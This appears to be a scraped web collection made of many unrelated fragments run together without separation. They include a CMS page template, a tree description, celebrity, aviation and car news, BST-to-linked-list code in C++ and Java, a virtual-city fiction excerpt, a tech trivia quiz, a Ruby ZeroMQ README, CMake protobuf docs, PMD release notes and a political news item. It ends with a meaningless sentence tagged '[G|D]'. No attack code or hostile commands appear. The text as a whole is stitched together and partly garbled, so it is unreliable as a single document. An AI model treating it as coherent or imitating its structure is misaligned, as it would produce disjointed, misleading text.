title = "ICT-Platform List" url = "/ict-platform/:id" layout = "master" description = "Our Infrastructure Services are the result of a significant expertise grown over many years, enhanced by our strategic alliance with world leading technology companies." is_hidden = 0 child_of = "ict-platform" hide_crumb = 0 remove_crumb_trail = 0 crumb_disabled = 0 [breadcrumbs] main-ol-class = "breadcrumb" active-class = "active" disabled-class = "disabled" [builderDetails] modelClass = "Agit\AgitPost\Models\Post" identifierValue = "{{ :id }}" modelKeyColumn = "id" displayColumn = "id" notFoundMessage = "Record not found" == {% partial 'site/title' %} {% component 'breadcrumbs' %} {% set record = builderDetails.record %} {% set displayColumn = builderDetails.displayColumn %} {% set notFoundMessage = builderDetails.notFoundMessage %}
{{ record.post_date }}
{{ record.desc | raw }}
Category : {{ record.category }}
{% else %} {{ notFoundMessage }} {% endif %}


This is the largest conifer in the northeastern United States. The tallest of these trees in Ohio is a 137-foot giant in Ashland County. The bark on young trees is smooth and gray, while on older trees it is broken into small rectangular blocks. It prefers moist, sandy loam soils. It is native only to a small portion of northeastern Ohio, but has been planted throughout most of the state. This tree is important for its lumber and is used extensively in reforestation. In the days of wooden sailing ships the long, straight trunks of this tree provided many ships' masts.


Naomi Campbell has high praise for BTS as fans freak out over Jackie Aina collab
Naomi Campbell has proven she’s as obsessed with BTS as the rest of us, dubbing their makeup line ‘fantastic’.
No lies detected.
The supermodel, who sent everyone into meltdown by collaborating with YouTube beauty guru Jackie Aina for a girls’ night in, gave a little shoutout to the K-Pop heroes.
Showing off a powder product that’s marketed to men, she said: ‘You know, men are coming up with makeup now. BTS have a whole makeup line. Yeah they do.’
Sensing the arrival of ARMYs, Jackie said: ‘Uh oh. BTS ARMY. They’re going to ignite in the comments now you’ve acknowledged them.’
‘I think it’s fantastic,’ Naomi added. ‘I’ve seen it. And so men’s makeup, I think, is going to be huge. It’s on its way.’
Naturally, fans couldn’t hold back their excitement.
Advertisement Advertisement
‘It’s the way she mentions @BTS_twt so casually, with the assumption that others will obviously already know who they are, that makes this so great,’ one wrote.
Another pointed out: ‘Naomi campbell talking about bts …. more specifically bts in makeup like WHO is doing it like bts do WHO.’
‘PAUSE NAOMI CAMPBELL???? LIKE THE NAOMI CAMPBELL??? TALKING ABOUT BTS??#*#>[×<>÷ HOLD ON I NEED A MOMENT PLS,’ one more excited fan added.
Despite evidently slaying the makeup world, the boys – RM, Suga, V, Jin, Jungkook, J-Hope and Jimin – have explained they’re focused on their music right now.
Although they’ve been enjoying a break, they’re already cooking up some new hits for fans, proving that the hustle never stops.
Advertisement Advertisement
In an interview with Paper magazine, the group revealed: ‘We are currently practicing and working on new songs so we can show you the best sides of ourselves. Please look forward to it.’
We are, don’t worry about that!
Meanwhile rapper RM confessed that he does feel ‘pressure’ to maintain an image for their followers, but his fellow member Suga added that ‘pressure is also one part of life’. J-Hope added: ‘I can’t say we don’t [feel pressure]. These days, I feel like I live with a sense of mission.
‘Rather than thinking, “It has to be perfect!,” I do what I have to do, making sure I remember the really important and fundamental things and trust that the results will follow.’
Sounds like words to stand by.
Got a showbiz story?
If you've got a story, video or pictures get in touch with the Metro.co.uk Entertainment team by emailing us<EMAIL_ADDRESS>calling 020 3615 2145 or by visiting our Submit Stuff page - we'd love to hear from you.


Airbus and flynas agree on exercising purchasing options for A321XLR jets: industry sources
Airbus and Saudi budget airline flynas have reached a final agreement on exercising purchasing options to order long range A321XLR jets, industry sources told Reuters on Tuesday.
DUBAI: Airbus and Saudi budget airline flynas have reached a final agreement on exercising purchasing options to order long range A321XLR jets, industry sources told Reuters on Tuesday.
Flynas' chief executive said on Monday that Flynas was in talks to exercise purchasing options for some or all of 40 Airbus A320new narrowboday jets.
The Riyadh-based discount carrier ordered 80 A320neo family jets in 2017, with purchasing options for an additional 40 aircraft. In June, it signed a preliminary agreement to swap some of those for larger A321 versions.
(Reporting by Tim Hepher and Alexander Cornwell, editing by Louise Heavens)


Question
Convert a BST to a sorted circular doubly-linked list in-place.
Think of the left and right pointers as synonymous to the previous and next pointers in a doubly-linked list.
One: Inorder
This question can be solved with inorder traversal with the help of a ‘pre’ pointer.
This solution is recommended by L33tcode, but not very intuitive, and difficult to write. The C++ code is attached below. source.
void treeToDoublyList(Node *p, Node *& prev, Node *& head) {
if (!p) return;
treeToDoublyList(p->left, prev, head);
// current node's left points to previous node
p->left = prev;
if (prev)
prev->right = p; // previous node's right points to current node
else
head = p; // current node (smallest element) is head of
// the list if previous node is not available
// as soon as the recursion ends, the head's left pointer
// points to the last node, and the last node's right pointer
// points to the head pointer.
Node *right = p->right;
head->left = p;
p->right = head;
// updates previous node
prev = p;
treeToDoublyList(right, prev, head);
}
// Given an ordered binary tree, returns a sorted circular
// doubly-linked list. The conversion is done in-place.
Node* treeToDoublyList(Node *root) {
Node *prev = NULL;
Node *head = NULL;
treeToDoublyList(root, prev, head);
return head;
}
Two: Divide and conquer
The good and intuitive solution is to do D&C and solve left and right recursively. Do note how the circular linked lists are merged, and be careful when replacing the pointers.
The Java code is posted below. source
public static TreeNode convertBstToDLL(TreeNode root) {
// convert bst to circular dll
if (root == null)
return (null);
// Recursively do the subtrees (leap of faith!)
TreeNode lln = convertBstToDLL(root.left);
TreeNode rrn = convertBstToDLL(root.right);
// Make root a circular DLL
root.left = root;
root.right = root;
// At this point we have three lists, merge them
lln = appendDLL(lln, root);
lln = appendDLL(lln, rrn);
return lln;
}
public static TreeNode appendDLL(TreeNode a, TreeNode b) {
// append 2 circular DLL
if (a == null)
return b;
if (b == null)
return a;
TreeNode aLast = a.left;
TreeNode bLast = b.left;
aLast.right = b;
b.left = aLast;
bLast.right = a;
a.left = bLast;
return a;
}


The vCitizens had a tremendous argument over horse racing. There was nothing wrong with the horse track simulation built for the S&E by the Very Off-Track Betting Corporation (a simmcorp, real world Registry Protected). VOTB violated no zoning ordinances. There was not even anything wrong with telegambling, as far as our lawyers could tell, since it did not involve an exchange of real world money on servers located within the United States. The main objection came from animal rights activists, who objected to a horse racing simulation on the basis that the exploitation of animals for profit was neither a desirable nor sustainable future.
This was a toughy which the vPopuli had to hack out. Were not humans animals too? And if humans could not be exploited for profit, then the whole premise of capitalist democracy was fundamentally unsound. In the words of one of my erstwhile colleagues on the vCity Zoning Council, "Oy Gevalt."
In the end, we did hold a referendum, and the site was banned. On the Occams' Razor scale, this one was a close shave. The issue distilled down to this: humans have free will and reason, therefore within certain boundaries, they may exploit each other (slavery being on the shit list, however); because non-human animals do not have both free will and reason, human exploitation of non-human animals for profit should be forbidden, and therefore no animal racing, zoos, or circuses. The counter argument ran: how do you know that non-human animals do not have free will and reason?
There was also a side tangent that caused more controversy. Those who advocated animal rights were largely concerned with mammal rights, for obviously parochial reasons. They naturally raised the question of the viability and sustainability of such things as cattle ranching, rabbit farms, and mammal-based medical research for pharmaceuticals and cosmetics. But non-human animals covered a far greater territory including fish, birds, insects, arachnids, mollusks, amphibians, and eukaryotes.
In one case, there was a zoning volume in the beachfront and sanddune suburb of Unpretentious run by a guy who was showcasing the way to sell electricity generated from electric eels. There was nothing wrong with the VR design -- he was well within CC limits -- and I thought that the organic sustainability of the idea was rather clever. A referendum was called, nevertheless, on the basis that while generating electricity from eels might be an appropriate technology for us, it wasn't appropriate for the eels. If I remember correctly, the site was not banned after the owner promised to prove that the eels were happy, well-fed, and feeling no pain. How he intended to prove this was something of a mystery.
Anyway, we reached the nadir (or zenith, depending upon one's viewpoint) of the controversy when some people started advocating the rights of all life forms including plants. There was some question about florists and agribusiness, and whether they had the right to exploit and murder flowers and plants for their own capitalist interests. As the same colleague later said, "Oy Gevalt Squared." It was, indeed, very talmudic.
All of this reminded me of the joke of the furrier who sold mink coats on the basis that all of the minks involved committed suicide. Of course, to many people on the net, the sanctity of life is no joke. We haven't come to resolution on just how sanctified we wish to become in the future. I guess when we started the vCity we knew that social-political discussions like this were going to happen. Maybe that, also, was the point.


Trivia Game
START
Time Remaining: 100 Seconds
What do you call the small image icons used to express emotions or ideas in digital communication?
Smiley
Emoji
Gif
Icon
When referring to a computer monitor, what does the acronym LCD stand for?
Liquid Crystal Display
Lighted Common Display
Lit Colors Display
Luminous Color Display
When talking about computer memory, what does the acronym ROM stand for?
Reads Open Meta
Random Operation Machine
Radio Operator Magne
Read Only Memory
In 1975 an engineer created the first electronic camera while working for what company?
Kodak
Sony
Cannon
Nikon
Nintendo is a consumer electronics and video game company founded in what country?
Japan
USA
Canada
Asia
In a photo editing program, what do the letters RGB stand for?
Red, Green and Blue
Ruby, Gold and Berry
Right, Ground and Bottom
Really, Good and Bass
HTML and CSS are computer languages used to create what?
Apps
Programs
Objects
Websites
The first person shooter video game Doom was first released in what year?
1999
1993
2000
1991
What does the acronym "lol" stand for when used in phone texts and on the internet?
Laugh Out Loud
Long Over Limit
Late Oreo Layover
Little On Lamb
In what year was the first Apple computer released?
1978
1977
1976
1979
DONE
All Done!
Correct Answers:
0
Incorrect Answers:
0
Unanswered:
0
Replay


Ultra-Luxurious Mercedes Maybach GLS 600 Flagship SUV Revealed
by Surendhar MMercedes Maybach GLS 600 will compete against Rolls Royce Cullinan and Bentley Bentayga and will go on sale in China before reaching other markets
Following the debut of the new GLS 63 and GLE 62 S at the Los Angeles Auto Show yesterday with an AMG-treated twin-turbo 4.0-litre V8 and 48 V EQ Boost, Mercedes has today revealed the Maybach GLS 600 at the Auto Guangzhou 2019 in China. The Maybach GLS will sit at the top of the food chain and will rival Bentley’s Bentayga with opulence and comfortability as the defining characteristics.
The full-size SUV is expected to be priced around 200,000 USD (Rs. 1.43 crore approximately). The Mercedes-Maybach GLS 600 does have its differences from the standard GLS. The German brand is well-renowned for making fast luxury SUVs since the mid-2000s and the GLS 600 combines the mantra with top-drawer ride quality and upscale nature.
On the outside, the Mercedes-Maybach GLS 600 looks not too identical to the regular GLS as it has notable updates. The front grille of the luxury SUV receives the signature Maybach treatment with horizontal slats while the multi-spoke alloy wheels painted in white colour are so elegant in their own right.
The redesigned front and rear bumpers have chrome touches with a new inlet design and the underbody protection can also be clearly seen. The side profile adorns plenty of chrome touches around the window line as well as on the lower section of the doors. The rear comes with squarish exhaust system on both ends and diffuser.
Other key design details include wraparound horizontal LED tail lamps and chrome applique below the trunk lid. The two-tone colour scheme tops off the overall design along with restyled LED headlamps. The Mercedes-Maybach GLS 600 is claimed to offer best-in-class roomier cabin for the first and rear occupants while individual seating for four is provided as standard with five-seater being optional.
The interior is a stark difference to the standard GLS in terms of the bright white colour theme provided with black dashboard finishes. However, the overall dashboard and centre console layouts remain identical with a huge touchscreen infotainment system and an all-digital instrument cluster. A rear-seat entertainment system and air suspension will be part of the package.
It is powered by a bi-turbo 4.0-litre V8 engine connected to a nine-speed automatic transmission driving all the four wheels through a 4Matic system.
Mercedes could offer the 6.0-litre V12 twin-turbo unit in China as well and the flagship SUV won’t likely be restricted to the People’s Republic, as it will compete against Bentayga as well as RR Cullinan.


EZMQ (Effortless ZeroMQ)
Overview
EZMQ is a wrapper around the wonderful ffi-rzmq
gem, which (as the name suggests) uses FFI, and exposes a fairly raw C-like interface. As elegant as 0MQ is, C doesn't feel like Ruby, and FFI bindings feel like C. EZMQ makes some reasonable assumptions to help you focus on what makes your code special, and not worry about setting up 0MQ.
Any of the magical hand-wavey bits (contexts, sockets, etc) are still exposed for tinkering, EZMQ just starts you off with some sane defaults.
Examples
Most of these examples are trivial, because ZMQ is just the fabric of your networked application(s).
Echo Server
Waits for a request, replies with the same request.
require 'ezmq'
server = EZMQ::Server.new
server.listen do ||
end
Synchronous Client Request
Sends a message, prints the reply when it arrives.
require 'ezmq'
client = EZMQ::Client.new
puts client.request 'test'
Confirming Logging Server
Waits for a request, prints it to STDOUT, and thanks the client for it.
require 'ezmq'
server = EZMQ::Server.new
server.listen do ||
puts
'Thanks for the message!' # The return of the block is sent to the client.
end
JSON Echo Server
Waits for JSON message, decodes it, re-encodes it, and sends it back.
require 'ezmq'
require 'json'
server = EZMQ::Server.new encode: -> m { JSON.dump m }, decode: -> m { JSON.load m }
server.listen do ||
end
JSON Synchronous Client Request
Encodes a message in JSON, sends it twice, prints the first one raw, and decodes the second.
require 'ezmq'
require 'json'
client = EZMQ::Client.new encode: -> m { JSON.dump m }
puts client.request 'test'
client.decode = -> m { JSON.load m }
puts client.request 'test'
'foorever' Publisher
Publishes an endless stream of 'foo's with a topic of 'foorever'.
require 'ezmq'
publisher = EZMQ.Publisher.new
loop do
publisher.send 'foo', topic: 'foorever'
end
'foorever' Subscriber
Subscribes to topic 'foorever', prints any messages it receives.
require 'ezmq'
subscriber = EZMQ.Subscriber.new topic: 'foorever'
subscriber.listen do |, topic|
puts "[#{ topic }] #{ }"
end
Pipeline Work Generator
Generates work, distributes it to workers via PUSH socket.
require 'ezmq'
require 'json'
generator = EZMQ::Pusher.new :bind, encode: -> m { JSON.dump m }
15.times do |id|
work = { 'id' => "task_#{ id }", 'request' => '100' }
puts "Generated work #{work}"
generator.send work
end
Pipeline Workers
3 worker threads PULL work from the Generator and PUSH results to the Collector.
The 'work' here is generating a random number between 1 and a requested maximum.
require 'ezmq'
require 'json'
workers = []
3.times do |id|
workers << Thread.new do
input = EZMQ::Puller.new :connect, decode: -> m { JSON.load m }
output = EZMQ::Pusher.new port: 5556, encode: -> m { JSON.dump m }
input.listen do |work|
puts "Worker #{id} pulled #{work}"
result = rand(1..work['request'].to_i)
report = { 'id' => work['id'], 'result' => result }
output.send report
end
end
end
workers.each(&:join)
Pipeline Results Collector
PULLs results from workers and prints it to STDOUT.
require 'ezmq'
require 'json'
collector = EZMQ::Puller.new port: 5556
collector.listen do ||
puts
end
Operating System Notes
As this relies on ffi-rzmq, you will need to have the zeromq libraries available.
For OSX, Homebrew is probably the easiest way to handle this:
brew install zeromq
For Ubuntu, Chris Lea's PPA is a good choice:
sudo add-apt-repository ppa:chris-lea/zeromq
sudo aptitude update
sudo aptitude install libzmq3-dev
For Windows, you should really consult the ØMQ documentation.


Reports missing type hints for function declaration in one of the two formats: parameter annotations or a type comment.
Select the Only when types are known checkbox if you want the inspection check the types collected from runtime or inferred.


{% extends "layout.html" %} {% block page_title %}gplus archiver{% endblock %} {% block body %}
You are downloading the {{ communityName }} archive. The download should begin shortly, if not click here!


My latest project was my first foray into the Foursquare API and the D3.js JavaScript library. I love traveling and finding interesting places to visit, so I wanted an app that allows users to find out which venues have the most checkins based on a city and category of their choice.
Granulr is group project created during General Assembly's Web Development Immersive program. Built with Javascript, Ruby, and Rails, Granulr facilitates goal setting and achievement through a "user stories" model and allows users to break down large goals into specific, actionable tasks.
Getadilla, my first project, is an online ordering portal for a quesadilla restaurant. The app is built with Rails and incorporates login and authentication, as well as Google Translate functionality.


--- layout: default title: Devknox - Security Plugin for Android Studio excerpt: Devknox is a security plugin for Android Studio that enables app developers to detect and resolve security issues as easy as spell check. keywords: devknox, android app security, security plugin, android studio security plugin, android studio plugin, appknox for developers, security plugin for app developers, security tools for developers, mobile app security tools ---


This email was sent to you by jodishop.com. To ensure that our updates get to you(not bulk or junk folders), please add our e-mail address to your address book or safe list.
If you have any questions regarding your orders or products, please contact us at
support@jodishop.com


DecimalType
public protocol DecimalType : ExpressibleByFloatLiteral, ExpressibleByIntegerLiteral
This is the custom decimal type.
It is a stripped down version of Money by danthorpe
-
The tuple that holds the both the monietary value and the currency being used, all
MoneyType
properties take the value from thisDeclaration
Swift
var money: (value: DecimalStorageType, currency: Currency)
-
The pype of Decimal Storage, will be set to
NSDecimalNumber
but could beDecimal
Declaration
Swift
associatedtype DecimalStorageType
-
The Initaliser for when using a Decimal value, check
DecimalStorageType
for typeDeclaration
Swift
init(value: DecimalStorageType)
Parameters
value
The NSDecimalNumber value
-
The initaliser for using a float value.
Declaration
Swift
init(_ value: Float)
Parameters
value
The float value for the money
-
The initaliser for using a Int value
Declaration
Swift
init(_ value: Int)
Parameters
value
The float value for money
-
The initaliser for using an Int value that may have a decimal place, the values are then divided by 100 to place them in correct places
Declaration
Swift
init(withAmmount amount: Int)
Parameters
amount
The float value for money that is in cents or pennies


Affective partisan polarization and moral dilemmas during the COVID-19 pandemic
Lukas F Stoetzer, Simon Munzert, Will Lowe, Başak Çalı, Anita R Gohdes, Marc Helbling, Rahsaan Maxwell, and Richard Traunmüller
Political Science Research and Methods 2022


Introduction
I was inspired to make this after having a conversation with my friend about philosophy over iMessage. The following work is "Crito" by Plato, in a modern format. The text is sourced from here. In the following story, you play the role of "Crito".


How many of us know someone that has been a victim of card fraud? Now with Flux Card you can reduce your chances and take a sigh of relief.
With Flux Card you can use a unique credit card number with every transaction, or generate a card for a particular merchant.
Flux Card eliminates the stress of having a card cancelled. There is no longer need to waste time on waiting for a new card to arrive. Don't worry about extra unwarranted charges, you will receive live notifications before you accept or decline any charges.
Have a Subscription or Trial service service you no longer want to use? Then simply cancel your generated card and create a new one. Flux Card puts the payment card back into your control.
SMARTPHONE CONNECTION
LIVE TRANSACTION ALERTS
CARD SEPARATION NOTIFICATIONS
Dynamic Card
Use a unique card number with every transaction
Dedicate card numbers to particular merchants
Set Limits
Decide how much of a limit you want on each card number
Receive instant alerts on all transactions
Account Access
Connect with your smartphone to review your multiple accounts & card numbers
Receive alerts if your card is separated from your smartphone


Watch out! Amine is in active development and thus not really stable. Please don't use it in your projects now.
| # | Name | Creator | Public Release | License |
|---|---|---|---|---|
| 1 | GNU/Linux | Richard Stallman for GNU, Linus Torvalds for Linux, Community | 1991 | GNU GPLv2 |
| 2 | Windows | Microsoft | 1993 | Proprietary |
| 3 | iOS | Apple Inc. | 2007 | Proprietary |
| 4 | Android | Android, Inc., Google | 2008 | Apache 2.0, GNU GPLv2 |
| # | Name | Creator | Public Release | License |
|---|---|---|---|---|
| 1 | GNU/Linux | Richard Stallman for GNU, Linus Torvalds for Linux, Community | 1991 | GNU GPLv2 |
| 2 | Windows | Microsoft | 1993 | Proprietary |
| 3 | iOS | Apple Inc. | 2007 | Proprietary |
| 4 | Android | Android, Inc., Google | 2008 | Apache 2.0, GNU GPLv2 |
| # | Name | Creator | Public Release | License |
|---|---|---|---|---|
| 1 | GNU/Linux | Richard Stallman for GNU, Linus Torvalds for Linux, Community | 1991 | GNU GPLv2 |
| 2 | Windows | Microsoft | 1993 | Proprietary |
| 3 | iOS | Apple Inc. | 2007 | Proprietary |
| 4 | Android | Android, Inc., Google | 2008 | Apache 2.0, GNU GPLv2 |
1primaryregularoperationalworksacceptableimprovedgenerictypical
2successgreatsuperoutstandingmarvelousperfectstablenewspecialidealcool
4warningstrangeincompletenon-standarddeprecatedmisusedpausedwaiting
5failurebadwronginvalidclosedunstabledangerous
pulsing—pulsing—pulsing—pulsing
primary99+4—
success99+4—
warning99+4—
failure99+4—
P—S—W—F
———
—
—


Locate and configure the Google Protocol Buffers library.
The following variables can be set and are optional:
PROTOBUF_SRC_ROOT_FOLDER - When compiling with MSVC, if this cache variable is set
the protobuf-default VS project build locations
(vsprojects/Debug & vsprojects/Release) will be searched
for libraries and binaries.
PROTOBUF_IMPORT_DIRS - List of additional directories to be searched for
imported .proto files. (New in CMake 2.8.8)
Defines the following variables:
PROTOBUF_FOUND - Found the Google Protocol Buffers library (libprotobuf & header files)
PROTOBUF_INCLUDE_DIRS - Include directories for Google Protocol Buffers
PROTOBUF_LIBRARIES - The protobuf libraries
[New in CMake 2.8.5]
PROTOBUF_PROTOC_LIBRARIES - The protoc libraries
PROTOBUF_LITE_LIBRARIES - The protobuf-lite libraries
The following cache variables are also available to set or use:
PROTOBUF_LIBRARY - The protobuf library
PROTOBUF_PROTOC_LIBRARY - The protoc library
PROTOBUF_INCLUDE_DIR - The include directory for protocol buffers
PROTOBUF_PROTOC_EXECUTABLE - The protoc compiler
[New in CMake 2.8.5]
PROTOBUF_LIBRARY_DEBUG - The protobuf library (debug)
PROTOBUF_PROTOC_LIBRARY_DEBUG - The protoc library (debug)
PROTOBUF_LITE_LIBRARY - The protobuf lite library
PROTOBUF_LITE_LIBRARY_DEBUG - The protobuf lite library (debug)
====================================================================
Example:
find_package(Protobuf REQUIRED)
include_directories(${PROTOBUF_INCLUDE_DIRS})
include_directories(${CMAKE_CURRENT_BINARY_DIR})
PROTOBUF_GENERATE_CPP(PROTO_SRCS PROTO_HDRS foo.proto)
add_executable(bar bar.cc ${PROTO_SRCS} ${PROTO_HDRS})
target_link_libraries(bar ${PROTOBUF_LIBRARIES})
NOTE: You may need to link against pthreads, depending
on the platform.
NOTE: The PROTOBUF_GENERATE_CPP macro & add_executable() or add_library()
calls only work properly within the same directory.
====================================================================
PROTOBUF_GENERATE_CPP (public function)
SRCS = Variable to define with autogenerated
source files
HDRS = Variable to define with autogenerated
header files
ARGN = proto files
====================================================================


Before Change
// Remake observation while discarding reward, done, and active
observation = collections.OrderedDict()
observation["image"] = \
trajectory.observation["image"][:, :, agent_id, :, :, :]
// Expand dims is needed here because tf-agents cannot allow an observation
// component to have shape=()
observation["direction"] = tf.expand_dims(
After Change
else:
return observation[:, :, agent_id]
observation = tf.nest.map_structure(get_single_observation,
trajectory.observation)
agent_trajectory = traj_lib.Trajectory(
step_type=trajectory.step_type,
observation=observation,


{% load static %}
{% load static %}
Posts
Search Title:
Search Body:
Order By
Creation Date
View Count
Score


31-August-2020 - 6.27.0
The PMD team is pleased to announce PMD 6.27.0.
This is a minor release.
New and noteworthy
Java 15 Support
This release of PMD brings support for Java 15. PMD can parse Text Blocks which have been promoted to be a standard language feature of Java.
PMD also supports Pattern Matching for instanceof, Records, and Sealed Classes.
Note: The Pattern Matching for instanceof, Records, and Sealed Classes are all preview language features of OpenJDK 15
and are not enabled by default. In order to
analyze a project with PMD that uses these language features, you’ll need to enable it via the environment
variable PMD_JAVA_OPTS
and select the new language version 15-preview
:
export PMD_JAVA_OPTS=--enable-preview
./run.sh pmd -language java -version 15-preview ...
Note: Support for Java 13 preview language features have been removed. The version “13-preview” is no longer available.
Changes in how tab characters are handled
In the past, tab characters in source files has been handled differently in different languages by PMD. For instance in Java, tab characters had a width of 8 columns, while C# used only 1 column. Visualforce instead used 4 columns.
This has been unified now so that tab characters are consistently now always 1 column wide.
This however might be a incompatible change, if you’re using the properties “BeginColumn” or “EndColumn” additionally to “BeginLine” and “EndLine” of a Token/AST node in order to highlight where a rule violation occurred in the source file. If you have logic there that deals with tab characters, you most likely can remove this logic now, since tab characters are now just “normal” characters in terms of string processing.
See also [all] Ensure PMD/CPD uses tab width of 1 for tabs consistently #2656.
Updated PMD Designer
This PMD release ships a new version of the pmd-designer. For the changes, see PMD Designer Changelog.
New Rules
- The new Java rule
AvoidReassigningCatchVariables
(java-bestpractices
) finds cases where the variable of the caught exception is reassigned. This practice is surprising and prevents further evolution of the code like multi-catch.
Modified Rules
-
The Java rule
CloseResource
(java-errorprone
) has a new propertycloseNotInFinally
. With this property set totrue
the rule will also find calls to close a resource, which are not in a finally-block of a try-statement. If a resource is not closed within a finally block, it might not be closed at all in case of exceptions.As this new detection would yield many new violations, it is disabled by default. It might be enabled in a later version of PMD.
Deprecated Rules
- The Java rule
DataflowAnomalyAnalysis
(java-errorprone
) is deprecated in favour ofUnusedAssignment
(java-bestpractices
), which was introduced in PMD 6.26.0.
Fixed Issues
- core
- java
- #2646: [java] Support JDK 15
- java-bestpractices
- #2471: [java] New Rule: AvoidReassigningCatchVariables
- #2663: [java] NoClassDefFoundError on upgrade from 6.25.0 to 6.26.0
- #2668: [java] UnusedAssignment false positives
- #2673: [java] UnusedPrivateField and SingularField false positive with lombok annotation EqualsAndHashCode
- #2684: [java] UnusedAssignment FP in try/catch
- #2686: [java] UnusedAssignment must not flag abstract method parameters in interfaces and abstract classes
- java-design
- java-errorprone
- #2264: [java] SuspiciousEqualsMethodName: Improve description about error-prone overloading of equals()
- #2410: [java] ProperCloneImplementation not valid for final class
- #2431: [java] InvalidLogMessageFormatRule throws IndexOutOfBoundsException when only logging exception message
- #2439: [java] AvoidCatchingThrowable can not detect the case: catch (java.lang.Throwable t)
- #2470: [java] CloseResource false positive when resource included in return value
- #2531: [java] UnnecessaryCaseChange can not detect the case like: foo.equals(bar.toLowerCase())
- #2647: [java] Deprecate rule DataFlowAnomalyAnalysis
- java-performance
- dart
- #2750: [dart] [cpd] Cpd Dart escaped dollar
API Changes
- XML rule definition in rulesets: In PMD 7, the
language
attribute will be required on allrule
elements that declare a new rule. Some base rule classes set the language implicitly in their constructor, and so this is not required in all cases for the rule to work. But this behavior will be discontinued in PMD 7, so missinglanguage
attributes are now reported as a forward compatibility warning.
Deprecated API
For removal
Rule#getParserOptions
Parser#getParserOptions
AbstractParser
RuleContext#removeAttribute
RuleContext#getAttribute
RuleContext#setAttribute
ApexParserOptions
ASTThrowStatement#getFirstClassOrInterfaceTypeImage
EcmascriptParserOptions
EcmascriptXPathRule
XmlParserOptions
XmlXPathRule
-
Properties of
AbstractXmlRule
net.sourceforge.pmd.Report.ReadableDuration
-
Many methods of
net.sourceforge.pmd.Report
. They are replaced by accessors that produce a List. For example,iterator()
(and implementing Iterable) andisEmpty()
are both replaced bygetViolations()
. - The dataflow codebase is deprecated for removal in PMD 7. This includes all code in the following packages, and their subpackages:
ASTJspDeclarations
ASTJspDocument
ScalaParserVisitorAdapter#zero
ScalaParserVisitorAdapter#combine
ApexParserVisitorReducedAdapter
TypeHelper
is deprecated in favor ofTypeTestUtil
, which has the same functionality, but a slightly changed API.- Many of the classes in
net.sourceforge.pmd.lang.java.symboltable
are deprecated as internal API.
External Contributions
- #2656: [all] Ensure PMD/CPD uses tab width of 1 for tabs consistently - Maikel Steneker
- #2659: [java] StringToString can not detect the case: getStringMethod().toString() - Mykhailo Palahuta
- #2662: [java] UnnecessaryCaseChange can not detect the case like: foo.equals(bar.toLowerCase()) - Mykhailo Palahuta
- #2671: [java] CloseResource false positive when resource included in return value - Mykhailo Palahuta
- #2674: [java] add lombok.EqualsAndHashCode in AbstractLombokAwareRule - berkam
- #2677: [java] RedundantFieldInitializer can not detect a special case for char initialize:
char foo = '\0';
- Mykhailo Palahuta - #2678: [java] AvoidCatchingThrowable can not detect the case: catch (java.lang.Throwable t) - Mykhailo Palahuta
- #2679: [java] InvalidLogMessageFormatRule throws IndexOutOfBoundsException when only logging exception message - Mykhailo Palahuta
- #2682: [java] New Rule: AvoidReassigningCatchVariables - Mykhailo Palahuta
- #2697: [java] ExcessiveParameterListRule must ignore a private constructor - Mykhailo Palahuta
- #2699: [java] ProperCloneImplementation not valid for final class - Mykhailo Palahuta
- #2700: [java] Fix OnlyOneReturn code example - Jan-Lukas Else
- #2722: [doc] [java] ImmutableField: extend description, fixes #2108 - Mateusz Stefanski
- #2723: [doc] [java] SimplifyStartsWith: update description and example, fixes #1868 - Mateusz Stefanski
- #2724: [doc] [java] SuspiciousEqualsMethodName: update description, fixes #2264 - Mateusz Stefanski
- #2725: Cleanup: change valueOf to parse when we need primitive return value. - XenoAmess
- #2726: Cleanup: replace StringBuffer with StringBuilder - XenoAmess
- #2727: Cleanup: replace indexOf() < 0 with contains - XenoAmess
- #2728: Cleanup: javadoc issues - XenoAmess
- #2729: Cleanup: use print instead of printf if no format exists - XenoAmess
- #2730: Cleanup: StringBuilder issues - XenoAmess
- #2731: Cleanup: avoid compiling Patterns repeatedly - XenoAmess
- #2732: Cleanup: use StandardCharsets instead of Charset.forName - XenoAmess
- #2733: Cleanup: Collection::addAll issues - XenoAmess
- #2734: Cleanup: use try with resources - XenoAmess
- #2744: Cleanup: fix typos - XenoAmess
- #2745: [core] Fix a NPE in buildUsageText - XenoAmess
- #2749: [dart] [cpd] Improvements for Dart interpolated strings - Maikel Steneker
- #2750: [dart] [cpd] Cpd Dart escaped dollar - Maikel Steneker
Stats
- 189 commits
- 68 closed tickets & PRs
- Days since last release: 37


We are working very hard on the new version of our site.
Sign up now to our newsletter and you'll be one of the first to know when the site is ready:


Stormzy and other musicians sign letter endorsing Jeremy Corbyn
Brit Awards-winning grime artist Stormzy is among the rappers and musicians to back Labour.
Stormzy tops the bill of a list of musicians, artists, rappers and grime MCs who are backing Jeremy Corbyn and Labour at the General Election.
Rappers Akala, Kano and Professor Green and singers Katy B and Peter Hooton of Liverpool group The Farm are among the 39 artists signing the letter, alongside the Grime 4 Corbyn campaign group.
Brit Awards winner Stormzy backed Labour in 2017 and has been a vocal critic of the Conservative government.
At the Brit Awards ceremony in 2018 he said: “Theresa May, where’s the money for Grenfell?” and at the Glastonbury music festival this year he led chants of “F*** Boris”.
Grime MC Wiley also tweeted his support of Mr Corbyn earlier in the month where he said: “Big up @jeremycorbyn” to which the Labour leader replied “Thank you Wiley”.
The letter to the Guardian newspaper reads: “We’re not voting Labour in the naive hope that they will solve all the problems our communities face.
“We vote because they offer an urgent alternative to the destructive policies of the Conservatives.”
It continues: “We are under no illusions about Labour’s own imperial history, and we don’t think the British establishment is fundamentally going to change.
“But we are sick of our taxes being spent on fighting more wars and building more jails.
“Jeremy Corbyn has been one of the few people who has fought against injustice all his political life, from apartheid South Africa to the bombing of Libya.
“To deny from our own, now quite comfortable places, that a Labour government would improve the lives of millions would betray the communities we come from.
“The opportunity for people-led change can be made possible under a Jeremy Corbyn Labour government.
“End austerity, rebuild our communities and take back the means to change our lives for the better.
“Surely, in an election that could transform the livelihoods of many, and be the difference between life or death for many more, life is something worth voting for.”


Members
generateLog
Component that handles generating the new Log entry.
- Source:
generateLogs
Component that handles the generating all of the log entries up to the most current one.
- Source:
handleTextArea
Component that handles the text read from the user input for a log.
- Source:
submitLog
Component that handles submiting a new log entry for a given log.
- Source:
timeHandler
Component that handles the Timer.
- Source:
updateTime
Component that handles updating the previously used time.
- Source:


The rickety old scaffold was used to construct a complex yet intricate scheme, with each piece fitting like pieces of a saraband, as if it were composed of a thousand tiny steps. [G|D]
